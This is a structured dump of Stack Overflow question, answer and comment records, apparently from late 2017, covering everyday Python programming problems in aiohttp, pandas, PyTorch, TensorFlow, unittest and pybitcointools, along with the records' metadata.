has text: When I run this code it shows `4` next to the `2964562` `product_id`
score: 0

http://stackoverflow.com/q/47233547
has comment: http://stackoverflow.com/comment/81447893
tagged with: aiohttp
answer count: 3
score: 2
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/53537436
has answer: http://stackoverflow.com/a/57027501
type: Question
tagged with: python-asyncio
upvote count: 2
has comment: http://stackoverflow.com/comment/90431958
has answer: http://stackoverflow.com/a/58297417
has body: I'm writing a script to make millions of API calls in parallel. I'm using Python 3.6 with aiohttp for this purpose. I was expecting that uvloop would make it faster, but it seems to have made it slower. Am I doing something wrong? with uvloop: 22 seconds without uvloop: 15 seconds import asyncio import aiohttp import uvloop import time import logging from aiohttp import ClientSession, TCPConnector logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger() urls = ["http://www.yahoo.com","http://www.bbcnews.com","http://www.cnn.com","http://www.buzzfeed.com","http://www.walmart.com","http://www.emirates.com","http://www.kayak.com","http://www.expedia.com","http://www.apple.com","http://www.youtube.com"] bigurls = 10 * urls def run(enable_uvloop): try: if enable_uvloop: loop = uvloop.new_event_loop() else: loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) start = time.time() conn = TCPConnector(limit=5000, use_dns_cache=True, loop=loop, verify_ssl=False) with ClientSession(connector=conn) as session: tasks = asyncio.gather(*[asyncio.ensure_future(do_request(url, session)) for url in bigurls]) # tasks to do results = loop.run_until_complete(tasks) # loop until done end = time.time() logger.debug('total time:') logger.debug(end - start) return results loop.close() except Exception as e: logger.error(e, exc_info=True) async def do_request(url, session): """ """ try: async with session.get(url) as response: resp = await response.text() return resp except Exception as e: logger.error(e, exc_info=True) run(True) #run(False)
tagged with: python
type: UnansweredQuestion
tagged with: uvloop
has title: aiohttp + uvloop parallel HTTP requests are slower than without uvloop

http://stackoverflow.com/comment/81614082
score: 0
comment on: http://stackoverflow.com/a/47331083
type: Comment
type: AnswerComment
has text: @COLDSPEED, hmmm, interesting... Thanks once again!

http://stackoverflow.com/comment/83039381
comment on: http://stackoverflow.com/q/47371661
score: 0
type: Comment
type: QuestionComment
has text: https://stackoverflow.com/questions/43646550/how-to-use-an-update-function-to-animate-a-networkx-graph-in-matplotlib-2-0-0

http://stackoverflow.com/q/47246912
type: UnansweredQuestion
tagged with: duplicates
tagged with: python
answer count: 6
score: 4
upvote count: 4
has title: How to remove duplicate from list of tuple when order is important
has answer: http://stackoverflow.com/a/47247286
tagged with: list
downvote count: 0
has answer: http://stackoverflow.com/a/47247294
has answer: http://stackoverflow.com/a/47247028
has answer: http://stackoverflow.com/a/47247749
favorite count: 0
type: Question
tagged with: tuples
has body: I have seen some similar answers, but I can't find something specific for this case. I have a list of tuples: [(5, 0), (3, 1), (3, 2), (5, 3), (6, 4)] What I want is to remove tuples from this list only when first element of tuple has occurred previously in the list and the tuple which remains should have the smallest second element. So the output should look like this: [(5, 0), (3, 1), (6, 4)]
has answer: http://stackoverflow.com/a/47247428
has answer: http://stackoverflow.com/a/47247322

http://stackoverflow.com/comment/81450207
type: QuestionComment
type: Comment
score: 0
has text: @DanielRoseman main function is work, but i write "localhost:8000/post/2/" nothing changes. [link on screenshot](http://prntscr.com/h9gjk0)
comment on: http://stackoverflow.com/q/47249938

http://stackoverflow.com/comment/81499896
type: Comment
comment on: http://stackoverflow.com/q/47272723
type: QuestionComment
score: 0
has text: do you have the ability to change the shape of your data or does it have to be in one column?

http://stackoverflow.com/a/47326320
has body: fallocate -l 25G file Try this
downvote count: 0
type: Answer
score: 6
upvote count: 6
answers question: http://stackoverflow.com/q/47326257

http://stackoverflow.com/q/47232794
has title: Python unittest loader very slow
upvote count: 2
score: 2
answer count: 0
downvote count: 0
type: UnansweredQuestion
tagged with: unit-testing
has body: I'm trying to run a suite of unit tests (Python 2.7) and most of the time is spent doing the discovery - about 16s. I'm running inside a VM so this may cause some slowness. Is there a way to optimize the running time? Code: loader = unittest.TestLoader() print datetime.datetime.now() tests = loader.discover( start_dir='./tests/{0}'.format(suite), pattern=f_pattern, top_level_dir='.') print datetime.datetime.now() Output: 2017-11-10 23:20:10.668782 2017-11-10 23:20:26.038204 Running tests... ---------------------------------------------------------------------- ......... ---------------------------------------------------------------------- Ran 9 tests in 0.134s
type: Question
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/83587418

http://stackoverflow.com/comment/81668440
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47357849
has text: See this lovely [debug](https://ericlippert.com/2014/03/05/how-to-debug-small-programs/) blog for help.
score: 0

http://stackoverflow.com/a/49665386
answers question: http://stackoverflow.com/q/47370240
type: Answer
score: -1
upvote count: 0
downvote count: 1
has body: The solution is: best_preds_svm = [np.argmax(line) for line in preds] Then you can print the class which has the most reasonable result.

http://stackoverflow.com/comment/81445045
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47243760
has text: Where is the glue between your model and your form class from the point of view of your `UserEditProfileView`?

http://stackoverflow.com/comment/81593426
type: Comment
comment on: http://stackoverflow.com/q/47321212
type: QuestionComment
has text: For starters `list` is a built in type in python. change the variable name of `list` to another name
score: 0

http://stackoverflow.com/comment/81434237
comment on: http://stackoverflow.com/q/47241709
score: 0
type: Comment
type: QuestionComment
has text: What's this `jsonify` filter you're using?

http://stackoverflow.com/comment/81573175
type: Comment
type: QuestionComment
has text: You've assigned `max = dict(...)` somewhere.
score: 1
comment on: http://stackoverflow.com/q/47311256

http://stackoverflow.com/comment/131790179
score: 0
type: AnswerComment
has text: It's actually sufficient to only use the migration *number* when targeting a specific migration, e.g. `./manage.py migrate myapp 0005`. Information on the subject: https://docs.djangoproject.com/en/4.1/topics/migrations/#reversing-migrations
type: Comment
comment on: http://stackoverflow.com/a/47341124

http://stackoverflow.com/q/47373421
tagged with: pytorch
has title: From 2D to 3D using convolutional autoencoder
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/47383692
tagged with: machine-learning
type: Question
score: 0
has body: I’d like to reconstruct 3D object from 2D images. For that, I try to use convolutional auto encoder. However, in which layer should I lift the dimensionality? I wrote a code below, however, it shows an error: “RuntimeError: invalid argument 2: size ‘[1 x 1156 x 1156]’ is invalid for input of with 2312 elements at pytorch-src/torch/lib/TH/THStorage.c:41” class dim_lifting(nn.Module): def __init__(self): super(dim_lifting, self).__init__() self.encode = nn.Sequential( nn.Conv2d(1, 34, kernel_size=5, padding=2), nn.MaxPool2d(2), nn.Conv2d(34, 16, kernel_size=5, padding=2), nn.MaxPool2d(2), nn.Conv2d(16, 8, kernel_size=5, padding=2), nn.MaxPool2d(2), nn.LeakyReLU() ) self.fc1 = nn.Linear(2312, 2312) self.decode = nn.Sequential( nn.ConvTranspose3d(1, 16, kernel_size=5, padding=2), nn.LeakyReLU(), nn.ConvTranspose3d(16, 32, kernel_size=5, padding=2), nn.LeakyReLU(), nn.MaxPool2d(2)) def forward(self, x): out = self.encode(x) out = out.view(out.size(0), -1) out = self.fc1(out) out = out.view(1, 1156, 1156) out = self.decode(out) return out Error happens here out = out.view(1, 1156, 1156)
tagged with: python
has comment: http://stackoverflow.com/comment/81705210
tagged with: deep-learning
tagged with: autoencoder

http://stackoverflow.com/q/47306505
type: Question
tagged with: save
answer count: 1
has comment: http://stackoverflow.com/comment/81563259
tagged with: namespaces
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47307050
has comment: http://stackoverflow.com/comment/81563293
has title: How to change variables in a cfg.py file from another file?
has answer: http://stackoverflow.com/a/47307050
tagged with: python
tagged with: config
has body: I'm trying to create a config file to store some values that I'll be playing with in another file. But then I would like another main file to change the variables in the config file like so: my config file: #cfg.py a = [2,3,4] my main file: #main.py import cfg print(cfg.a) cfg.a[1] = 10 print(cfg.a) It returns [2,3,4] [2,10,4] which is fine, but when I close everything and look at my cfg.py again, the value of a in the cfg.py file did not change. Am I missing something? Am I supposed to use some sort of save function to make sure that I'm writing new values into the file? Or am I going about this in the totally wrong way? It seems like I'm changing an instance of cfg.a instead of the reference to a in the original cfg.py file.
has comment: http://stackoverflow.com/comment/81578752

http://stackoverflow.com/q/47307659
tagged with: pandas
upvote count: 1
score: 1
answer count: 1
has title: Selecting columns using query statement in pandas dataframe
favorite count: 0
type: Question
has body: I have the following pandas dataframe. Each point is combined with 'n' class points of each class, and each combination has a value of 0 or 1. Now for each point, I want to get the class which has the highest number of '0'. Output : Pt.1 - a Pt.2 -b I have tried with hash table, but its being a bit cumbersome. What can be an elegant pandas dataframe query for this? +------+-------+-------+--+--+--+ | Pt. | class | value | | | | +------+-------+-------+--+--+--+ | Pt.1 | a | 0 | | | | | Pt.1 | a | 0 | | | | | Pt.1 | a | 1 | | | | | Pt.1 | b | 0 | | | | | Pt.1 | b | 1 | | | | | pt.1 | b | 1 | | | | | Pt.2 | a | 1 | | | | | Pt.2 | a | 1 | | | | | Pt.2 | a | 1 | | | | | Pt.2 | b | 0 | | | | | Pt.2 | b | 0 | | | | | Pt.2 | b | 0 | | | | | | | | | | | +------+-------+-------+--+--+--+
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/47307756
accepted answer: http://stackoverflow.com/a/47307756
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81567030
has comment: http://stackoverflow.com/comment/81565763
downvote count: 0

qitemselectionmodel
tag name: qitemselectionmodel
type: Tag
tags question: http://stackoverflow.com/q/47357578

http://stackoverflow.com/a/47342023
has comment: http://stackoverflow.com/comment/81636240
has comment: http://stackoverflow.com/comment/81636375
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47341959
has comment: http://stackoverflow.com/comment/81636395
has comment: http://stackoverflow.com/comment/81636511
has body: Since app_manager.py is a directory above app_gui.py, I believe your import (if you wish to use a relative import) should be from ..app_manager import AppManager EDIT to address error in comments: If you try to run this file directly, you will get a ValueError like in the comments. Relative imports work between modules inside of packages. Let's say that you use the import I wrote above, and then you have a file ONE LEVEL ABOVE your app directory called stuff.py, with the following contents: import app.app_gui.app_gui print('hello') Running stuff.py would look like: $ python stuff.py hello In other words, executing a file with relative imports directly with the python interpreter will result in an error, as it was not intended to be used this way. Rather, your model should be imported and executed by something outside of the module itself. If you have a __main__ file inside of your app directory with the exact same code, you can also execute the module directly. $ cat app/__main__.py import app.app_gui.app_gui print('hello') $ python -m app hello
type: Answer

http://stackoverflow.com/comment/81969462
type: Comment
has text: I was trying to get a discussion going on not only the methods, but also security - see if anyone else noticed that a lot of this is out-of-date. You offer one method only and then try to shut it off.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47379125

http://stackoverflow.com/a/47374012
has body: Zero is the default for numerics in protobuf, and empty strings are defaults for strings. For efficiency, default values are not transmitted across the wire. If you really want to be able to tell if it was set explicitly, don't use the default zero for a real operation: enum SetGet { NONE = 0; SET = 1; GET = 2; } Just keep in mind this will result in extra traffic over the wire and, since you're only really worried out what's being printed, you can alternatively just understand that zeros are defaults, or write your own print routines that output everything.
upvote count: 9
type: Answer
has comment: http://stackoverflow.com/comment/81703488
answers question: http://stackoverflow.com/q/47373976
score: 9
downvote count: 0

http://stackoverflow.com/q/47240370
has body: I have tow copies of python 3 on my mac (running macOS Sierra, Mid 2012) one with pygame installed and one without. If I try to run my game script I get an error message that there is no module named pygame I use sublime text to edit my python files and want the terminal open to just hit the up arrow and Enter to run my scrip after I edited it.
tagged with: python
answer count: 1
tagged with: terminal
has comment: http://stackoverflow.com/comment/81432156
type: Question
score: 0
has comment: http://stackoverflow.com/comment/81441132
accepted answer: http://stackoverflow.com/a/47266342
has title: How to run another copy of python 3
tagged with: pygame
tagged with: macos
has answer: http://stackoverflow.com/a/47266342
type: AnsweredQuestion

http://stackoverflow.com/a/47254326
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81459918
upvote count: 1
has comment: http://stackoverflow.com/comment/81489720
answers question: http://stackoverflow.com/q/47254230
has comment: http://stackoverflow.com/comment/81490822
type: Answer
has comment: http://stackoverflow.com/comment/81459603
has body: To me it is unclear what you mean exactly, but I think you mean this: myList = [int1,int2,int3,...] Integers can be added into the list directly this way. I hope this helped! Note that this goes for any type of value, not only for integers In order to read user input of multiple numbers, you can do the following: myList = [int(i) for i in input().split()] If on Python2, you should use this instead: myList = [int(i) for i in raw_input().split()]
accepted answer of: http://stackoverflow.com/q/47254230
has comment: http://stackoverflow.com/comment/81494476
score: 1

http://stackoverflow.com/comment/81543083
score: 0
type: Comment
type: AnswerComment
has text: @driskerr the parser should be fixed, now. If you can, please test it (and if you find the answer satisfying, accept it).
comment on: http://stackoverflow.com/a/47274929

http://stackoverflow.com/comment/81530919
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47289971
type: Comment
has text: Did you try inspecting your HTTP header using a tool like Wireshark? It may help you. Also, it would be nice if you could tell us more about what you did and add some documentation so we can spend our time helping you instead of searching for relevant information.

http://stackoverflow.com/a/47302573
accepted answer of: http://stackoverflow.com/q/47302382
answers question: http://stackoverflow.com/q/47302382
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: Don't pass along a list; it'll accumulate all searched paths, not just the one that matches. Build up the list as you recurse, by concatenating. You also need to process the result of the recursive call; your code ignores that result. The following works, note that when we recurse (in if category['children']) the code has to check if a path was found in that subtree: def recurse_category(categories, to_find): for category in categories: if category['name'] == to_find: return True, [category['name']] if category['children']: found, path = recurse_category(category['children'], to_find) if found: return True, [category['name']] + path return False, [] This returns a boolean (true if found) and the path: &gt;&gt;&gt; recurse_category(categories, 'SubCat1') (True, ['Cat1', 'SubCat1']) &gt;&gt;&gt; recurse_category(categories, 'Cat2') (True, ['Cat2']) &gt;&gt;&gt; recurse_category(categories, 'Nonesuch') (False, [])
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81556385

http://stackoverflow.com/comment/104873671
type: Comment
has text: **package doesn't work with py 3.8** import environ File "C:\Users...\Python\Python38-32\lib\site-packages\environ.py", line 114 raise ValueError, "No frame marked with %s." % fname ^ SyntaxError: invalid syntax
comment on: http://stackoverflow.com/a/47301269
score: 0
type: AnswerComment

http://stackoverflow.com/a/47293697
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47293645
has comment: http://stackoverflow.com/comment/81557924
has comment: http://stackoverflow.com/comment/81539094
type: Answer
has body: The line is string not list of word, to convert it to list of word use split and strip before to get rid of \n def main(): oTE_list = [] oTE = [] with open("file.txt","r") as f: text = f.readlines() for line in text: line = line.strip().split() if line[0] == 'FINAL' and line[1] == 'SINGLE' and line[2] == 'POINT' and line[3] == 'ENERGY': oTE_list.append(line[4]) # Change Lists To Number Format for idx, item in enumerate(oTE_list): if idx == len(oTE_list) - 1: print(item) if __name__ == '__main__': main()
accepted answer of: http://stackoverflow.com/q/47293645
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/81550413
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47299587
score: 0

http://stackoverflow.com/q/47308923
accepted answer: http://stackoverflow.com/a/47309714
has comment: http://stackoverflow.com/comment/81568631
type: Question
has answer: http://stackoverflow.com/a/47309714
has comment: http://stackoverflow.com/comment/81568490
has comment: http://stackoverflow.com/comment/81568442
tagged with: python
has comment: http://stackoverflow.com/comment/81568400
has comment: http://stackoverflow.com/comment/81568759
has body: Here is my dataframe: Date cell tumor_size(mm) 25/10/2015 113 51 22/10/2015 222 50 22/10/2015 883 45 20/10/2015 334 35 19/10/2015 564 47 19/10/2015 123 56 22/10/2014 345 36 13/12/2013 456 44 What I want to do is compare the size of the tumors detected on the different days. Let's consider the cell 222 as an example; I want to compare its size to different cells but detected on earlier days e.g. I will not compare its size with cell 883, because they were detected on the same day. Or I will not compare it with cell 113, because it was detected later on. As my dataset is too large, I have iterate over the rows. If I explain it in a non-pythonic way: for the cell 222: get_size_distance(absolute value): (50 - 35 = 15), (50 - 47 = 3), (50 - 56 = 6), (50 - 36 = 14), (44 - 36 = 8) get_minumum = 3, I got this value when I compared it with 564, so I will name it as a pait for the cell 222 Then do it for the cell 883 The resulting output should look like this: Date cell tumor_size(mm) pair size_difference 25/10/2015 113 51 222 1 22/10/2015 222 50 123 6 22/10/2015 883 45 456 1 20/10/2015 334 35 345 1 19/10/2015 564 47 456 3 19/10/2015 123 56 456 12 22/10/2014 345 36 456 8 13/12/2013 456 44 NaN NaN I will really appreciate your help
has comment: http://stackoverflow.com/comment/81568630
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81568550
tagged with: pandas
has comment: http://stackoverflow.com/comment/81568347
score: 1
has comment: http://stackoverflow.com/comment/81568319
answer count: 1
downvote count: 0
has title: Iterating over pandas rows to get minimum
upvote count: 1
favorite count: 0

http://stackoverflow.com/q/47340391
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/47340599
has answer: http://stackoverflow.com/a/47340599
type: Question
tagged with: praw
score: 1
has body: I'm creating a Reddit bot with praw, and I want to have the bot do things based on private messages sent to it. I searched the documentation for a bit, but couldn't find anything on reading private messages, only sending them. I want to get both the title and the content of the message. So how can I do this?
type: AnsweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has title: How to read private messages with PRAW?

http://stackoverflow.com/a/47260476
score: 0
has comment: http://stackoverflow.com/comment/81473874
accepted answer of: http://stackoverflow.com/q/47258615
has comment: http://stackoverflow.com/comment/81472981
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81477884
answers question: http://stackoverflow.com/q/47258615
has body: Your time issue is not with pandas but with your SQL engine. If you didn't do it, you can add an index on cust_id field in your table records, this should speed up your query.
has comment: http://stackoverflow.com/comment/81472293
type: Answer
has comment: http://stackoverflow.com/comment/81473237

http://stackoverflow.com/a/47349207
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81650865
accepted answer of: http://stackoverflow.com/q/47348091
type: Answer
has comment: http://stackoverflow.com/comment/81650612
answers question: http://stackoverflow.com/q/47348091
has body: views.py class Postlar(ListAPIView): permission_classes = [] queryset = Disk.objects.all() serializer_class = DiskSerializer def list(self, request, *args, **kwargs): result = {} SerializerClass = self.get_serializer_class() for u in ["系统盘", "数据盘"]: serializer = SerializerClass(Disk.objects.filter(diskOsType__name=u), many=True) result[u] = serializer.data return Response(result)
score: 0

http://stackoverflow.com/comment/81410124
has text: thanks by the way. I don't know why i did not think of that way
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47229728

http://stackoverflow.com/comment/81490259
comment on: http://stackoverflow.com/q/47269001
type: Comment
type: QuestionComment
score: 0
has text: Even though this is possible in CPython, it is highly inadvisable for you to rely on this. Also, it is important to note that the value returned by `id` isn't linked to the variable, but the object.

http://stackoverflow.com/comment/81607987
comment on: http://stackoverflow.com/q/47327647
score: 0
has text: You said somehow that the program is not checking these if-loops. Does it print out `nr_objects` from the line `print(nr_objects)` that you have in the code?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47331304
has body: According to the documentation, if step is strictly positive, the largest element in the range will be the largest start + i * step less than stop. It means that the largest element is: start + ((stop - start - 1)//step) * step The result is the same for range(1,13,2) and range(1,12,2) (11) because of the integer division: &gt;&gt;&gt; 11 // 2 5 &gt;&gt;&gt; 10 // 2 5 To avoid any surprise, you could always use max + 1 as stop. For your example, that'd be range(1,12,2).
answers question: http://stackoverflow.com/q/47330896
score: 0
accepted answer of: http://stackoverflow.com/q/47330896
type: Answer
has comment: http://stackoverflow.com/comment/81613760
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81613722

http://stackoverflow.com/q/47244885
type: AnsweredQuestion
has title: How to pick up all the elements from a python list that meet certain criteria?
has answer: http://stackoverflow.com/a/47246957
tagged with: python
has answer: http://stackoverflow.com/a/47244892
has comment: http://stackoverflow.com/comment/81440242
has comment: http://stackoverflow.com/comment/81441366
type: Question
tagged with: numpy
has body: I have a long list of large floating point numbers: lis = [0.10593584063824,... ,9.5068763787043226e-34, 9.8763787043226e-34, 8.3617950149494853e-34] How can I pick into a new array all the numbers that fulfill certain criteria? For example, how can I pick up into a new list all the numbers that are a_constant &gt; .95
score: 0
tagged with: list
answer count: 3
possible better answer: http://stackoverflow.com/a/47244892
linked to: http://stackoverflow.com/q/35101426
has answer: http://stackoverflow.com/a/47244918
accepted answer: http://stackoverflow.com/a/47244918
duplicate of: http://stackoverflow.com/q/35101426

http://stackoverflow.com/comment/81545206
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47296197
type: Comment
has text: Thanks. Do you know if there are ways to speed up theses operations?

http://stackoverflow.com/q/47310159
tagged with: python
score: -1
has body: I am in the process of creating a raw transaction using pybitcointools, however when I tried to push the transaction into the network using pushtx(tx) I got the ff. error: Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/local/lib/python2.7/site-packages/bitcoin-1.1.42-py2.7.egg/bitcoin/bci.py", line 311, in pushtx return f(*args) File "/usr/local/lib/python2.7/site-packages/bitcoin-1.1.42-py2.7.egg/bitcoin/bci.py", line 261, in bci_pushtx if not re.match('^[0-9a-fA-F]*$', tx): File "/usr/local/lib/python2.7/re.py", line 141, in match return _compile(pattern, flags).match(string) TypeError: expected string or buffer by the way my privatekey is in base58 (51 characters) format Here's the code: from bitcoin.main import * from bitcoin.transactions import * from bitcoin.bci import * &gt;&gt;&gt; addr '1CXW5bqMNQZ3sftXCtiRf3HGTPJmpd2xvq' #I just edited the address for security purpose &gt;&gt;&gt; unspent(addr) [{'output': '23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9287c25f624161:1', 'value': 300000}] &gt;&gt;&gt; source = '32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe' &gt;&gt;&gt; unspent(source) [{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200}, {'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}] &gt;&gt;&gt; ins = unspent(addr) + unspent(target) &gt;&gt;&gt; amount = 300000 + 5000000 + 677200 &gt;&gt;&gt; amount -= 10000 &gt;&gt;&gt; outs = [{'address': addr, 'value': value}] &gt;&gt;&gt; tx = mktx(ins, outs) &gt;&gt;&gt; tx = sign(tx, 0, priv) &gt;&gt;&gt; tx = deserialize(tx) &gt;&gt;&gt; tx['ins'][1]['script'] = '00483045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c290347304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b8034c695221023927b5cd7facefa7b8…
type: Question
tagged with: private-key
has comment: http://stackoverflow.com/comment/81570908
upvote count: 0
type: UnansweredQuestion
answer count: 1
tagged with: push
downvote count: 1
favorite count: 0
has title: pybitcointools pushtx TypeError: expected string or buffer
has comment: http://stackoverflow.com/comment/81571579
tagged with: bitcoin
has answer: http://stackoverflow.com/a/47316298

http://stackoverflow.com/q/47245866
accepted answer: http://stackoverflow.com/a/47245950
tagged with: neural-network
tagged with: python
linked to: http://stackoverflow.com/q/47235290
type: AnsweredQuestion
has body: I am going though Udacity's Deep Learning Course. The interesting thing that I am observing is that for same dataset, my 1 layer Neural Network works perfectly fine, but when I add more layers my Loss increases to NaN. I am using following blog post as reference: I am using the following blog post as a reference: http://www.ritchieng.com/machine-learning/deep-learning/tensorflow/regularization/ Here is my code: batch_size = 128 beta = 1e-3 # Network Parameters n_hidden_1 = 1024 # 1st layer number of neurons n_hidden_2 = 512 # 2nd layer number of neurons graph = tf.Graph() with graph.as_default(): # Input data. For the training data, we use a placeholder that will be fed # at run time with a training minibatch. tf_train_dataset = tf.placeholder(tf.float32, shape=(batch_size, image_size * image_size)) tf_train_labels = tf.placeholder(tf.float32, shape=(batch_size, num_labels)) tf_valid_dataset = tf.constant(valid_dataset) tf_test_dataset = tf.constant(test_dataset) # Variables. w1 = tf.Variable(tf.truncated_normal([image_size * image_size, n_hidden_1])) w2 = tf.Variable(tf.truncated_normal([n_hidden_1, n_hidden_2],stddev=math.sqrt(2.0/n_hidden_1))) w3 = tf.Variable(tf.truncated_normal([n_hidden_2, num_labels],stddev=math.sqrt(2.0/n_hidden_2))) b1 = tf.Variable(tf.zeros([n_hidden_1])) b2 = tf.Variable(tf.zeros([n_hidden_2])) b3 = tf.Variable(tf.zeros([num_labels])) # Learning rate decay configs global_step = tf.Variable(0, trainable=False) starter_learning_rate = 0.5 # Training computation. logits_1 = tf.matmul(tf_train_dataset, w1) + b1 hidden_layer_1 = tf.nn.relu(logits_1) layer_1_dropout = tf.nn.dropout(hidden_layer_1, keep_prob) logits_2 = tf.matmul(layer_1_dropout, w2) + b2 hidden_layer_2 = tf.nn.relu(logits_2) layer_2_dropout = tf.nn.dropout(hidden_layer_2, keep_prob) # the output logits logits_3 = tf.matmul(layer_2_dropout, w3) + b3 # Normal Loss loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits_3, labels=tf_train_labels)) learning_rate…
tagged with: deep-learning
downvote count: 0
score: 1
upvote count: 1
answer count: 1
tagged with: tensorflow
favorite count: 0
has title: Tensorflow - Loss increases to NaN
type: Question
has answer: http://stackoverflow.com/a/47245950

http://stackoverflow.com/comment/81627205
type: AnswerComment
comment on: http://stackoverflow.com/a/47293538
score: 0
type: Comment
has text: Updated there any help appreciated

http://stackoverflow.com/a/47231213
answers question: http://stackoverflow.com/q/47230318
has comment: http://stackoverflow.com/comment/81414225
type: Answer
accepted answer of: http://stackoverflow.com/q/47230318
score: 0
has body: In order to provide you with a working example, this is how I would have implemented that function. I found the building of res a little hard to read how you did it, so I split it up. The comments should explain what's happening, in case anything is unclear I'll be happy to elaborate. Beware this might not be the most Pythonic way of doing things. def desimplify(molecule): # function-scope var to hold final result, won't be overwritten in loop result = '' # consume input token by token for token in molecule: if token.isalpha(): # token under cursor is letter, append to result result += token elif token.isdigit(): # token under cursor is digit, use as multiplier # we have already appended one token, so use one less! mult = int(token) - 1 # apply the multiplier to the preceeding token in the input result += (mult * previous) # store current token for next iteration, when we might need to multiply it previous = token return result Running this results in: desimplify('C3H8O3') 'CCCHHHHHHHHOOO' Edit: made it a little more Pythonic by iterating directly over the input string, without a loop var.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81413995

http://stackoverflow.com/a/47257916
score: 0
answers question: http://stackoverflow.com/q/47257678
has body: the best way would be to avoid to create a list comprehension slice it using naive slicing [:50] that creates 2 useless lists and is not that performant. I would suggest to generate the names using a generator comprehension rather than list comprehension, and use islice on it. Like that no temporary list is created. Only works with 1 value at a time: import itertools,os for dirpath, dirnames, filenames in os.walk("."): for filename in itertools.islice((f for f in filenames if f.endswith(".jpg")),50): print(os.path.join(dirpath, filename)) also be careful: some weird filesystems won't necessarily sort the files by name, maybe you'll need to first sort the list, then slice. for filename in itertools.islice(sorted([f for f in filenames if f.endswith(".jpg")]),50):
type: Answer

http://stackoverflow.com/comment/81546689
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47296726
has text: On my phone... I will look at it later.
score: 0

http://stackoverflow.com/q/47300647
upvote count: 7
has comment: http://stackoverflow.com/comment/81611722
downvote count: 1
favorite count: 0
type: Question
has body: I am trying to capture real-time streaming financial time data via Python. I want to initially store the information in a database and then at a later date further develop a program to analyze and make trading decisions based on this data. It would be nice to also be able to subsequently display said data in some graphical format either on a website or in a Jupyter notebook. As a starting point, I figured I would use bitcoin data from either GDAX or Gemini. I wanted to capture tick data and potentially additional order book information too if that is feasible. In doing some research I am a bit overwhelmed by the options out there and could use some guidance in how to structure the project and what libraries would be most appropriate. I have looked at the respective docs for each service's API as well as a few Github projects and am still unsure of where to start. Any advice, suggestions or recommended reading would be greatly appreciated.
tagged with: bitcoin
type: UnansweredQuestion
tagged with: database
tagged with: python
tagged with: trading
has title: Python: Real-Time Streaming Data
has comment: http://stackoverflow.com/comment/81553885
has answer: http://stackoverflow.com/a/47307727
tagged with: real-time
has comment: http://stackoverflow.com/comment/81615090
answer count: 1
score: 6

http://stackoverflow.com/q/47230145
upvote count: 0
has title: How to prevent code exit during Python 3.6 unit testing
accepted answer: http://stackoverflow.com/a/47230224
has comment: http://stackoverflow.com/comment/81410886
duplicate of: http://stackoverflow.com/q/15672151
tagged with: python
has answer: http://stackoverflow.com/a/47230224
score: -1
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/47230284
downvote count: 1
has body: As I write functions and classes with Python 3.6 I try to write unit tests as soon as I am capable. I am writing a simple function that tests whether or not a file exists at a user-specified location that looks like this: import os import sys import unittest def verify_file_existance(file_path, file_name): total_name = file_path + file_name if os.path.isfile(total_name): return sys.exit('{}{}{}'.format('FATAL ERROR: ', file_name, 'does not exist')) The unit test for the above function looks like class InputFileTest(unites.TestCase): def test_verify_file_existance(self): file_name = 'Test.csv' file_path = '../../Data/VandV/Input_Reader/' verify_file_existance(file_path, file_name) If the file exists at the desired location, the test passes successfully; however, if the file does not exist, the program exits with a Fatal Warning. This is how I want the program to behave during normal operation; however, in unit testing, I want to purposefully be able to place an incorrect path and register that as a successful test, to prove the program does what I want. In other words during one test case, I don't want the program to exit. Is there a way to do this during unit testing?
favorite count: 0
linked to: http://stackoverflow.com/q/15672151
has answer: http://stackoverflow.com/a/47230284
type: Question
tagged with: python-3.x

http://stackoverflow.com/a/47261514
upvote count: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47234269
downvote count: 0
has comment: http://stackoverflow.com/comment/81492384
has comment: http://stackoverflow.com/comment/81492343
type: Answer
has comment: http://stackoverflow.com/comment/81493530
